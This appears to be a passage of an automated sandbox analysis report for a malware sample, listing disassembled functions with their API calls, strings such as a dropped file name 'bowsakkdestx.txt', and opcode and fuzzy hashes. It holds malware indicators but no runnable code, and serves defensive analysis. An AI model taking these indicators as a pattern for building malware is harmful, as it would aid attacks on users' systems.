String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: 37c0a0619d1de68f8926526a4348b91c256fa9f986865ef3ae2ab210aec5a9ed
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: 37c0a0619d1de68f8926526a4348b91c256fa9f986865ef3ae2ab210aec5a9ed
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Uniqueness

Uniqueness Score: -1.00%

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006B0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: d70b67a4a7fe440acc7419d06ec2b6f75a63a325c355f2e5d89529d3462600c6
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: d70b67a4a7fe440acc7419d06ec2b6f75a63a325c355f2e5d89529d3462600c6
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

invalid string position, xrefs: 00417D2C
string too long, xrefs: 00417D36

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 3e8e620cdafad959620aa8092266a2dd437b35ec9cc4a24f81571b5e96538b17
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: 3e8e620cdafad959620aa8092266a2dd437b35ec9cc4a24f81571b5e96538b17
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Uniqueness

Uniqueness Score: -1.00%

Function 004229A9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 00422A5F
__write.LIBCMT ref: 00422A92
__flsbuf.LIBCMT ref: 00422AC0

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Strings

A, xrefs: 00422A9F, 00422A87, 00422A3A, 00422A44, 00422AB8

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __flsbuf__flush__getptd_noexit__write
String ID: A
API String ID: 3115901604-2078354741
Opcode ID: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction ID: 74c924880168de559db59c14e1a2c39f6381d3f38157317aef41ba5f0430eaff
Opcode Fuzzy Hash: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction Fuzzy Hash: F041F870700626BFDB289F69EA8056F77A5BF44360B94813FE805C7740D6F8DD818B58

Uniqueness

Uniqueness Score: -1.00%

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

invalid string position, xrefs: 00414260
string too long, xrefs: 00414256

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7
C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,00000000), ref: 0040C5F6
RpcStringFreeA.RPCRT4(00000000), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: d9f4c7b52ce170ad08a629e5cafd8bd8da322b05ac09e2ee2f5755b8a70a64da
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: d9f4c7b52ce170ad08a629e5cafd8bd8da322b05ac09e2ee2f5755b8a70a64da
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: 23fc771ccd0fb84302ef14e270554964de1445af84905d4ed2fddc0fcc519b49
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: 23fc771ccd0fb84302ef14e270554964de1445af84905d4ed2fddc0fcc519b49
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

LPCWSTRszWindowClass, xrefs: 0041BA65
0, xrefs: 0041BA1D

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: d38f1047e7df85797af0b561137eadedeff6a5e02b6b4597d6283ed79f31b173
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: d38f1047e7df85797af0b561137eadedeff6a5e02b6b4597d6283ed79f31b173
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,E1C11FE1,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C709
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C73F

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Uniqueness

Uniqueness Score: -1.00%

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006B0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: d807541a0d1b126bc38ced4668b3b61b472b47aa0d79cc9e7bfc34870b6aacc2
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: d807541a0d1b126bc38ced4668b3b61b472b47aa0d79cc9e7bfc34870b6aacc2
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Uniqueness

Uniqueness Score: -1.00%

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006B0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

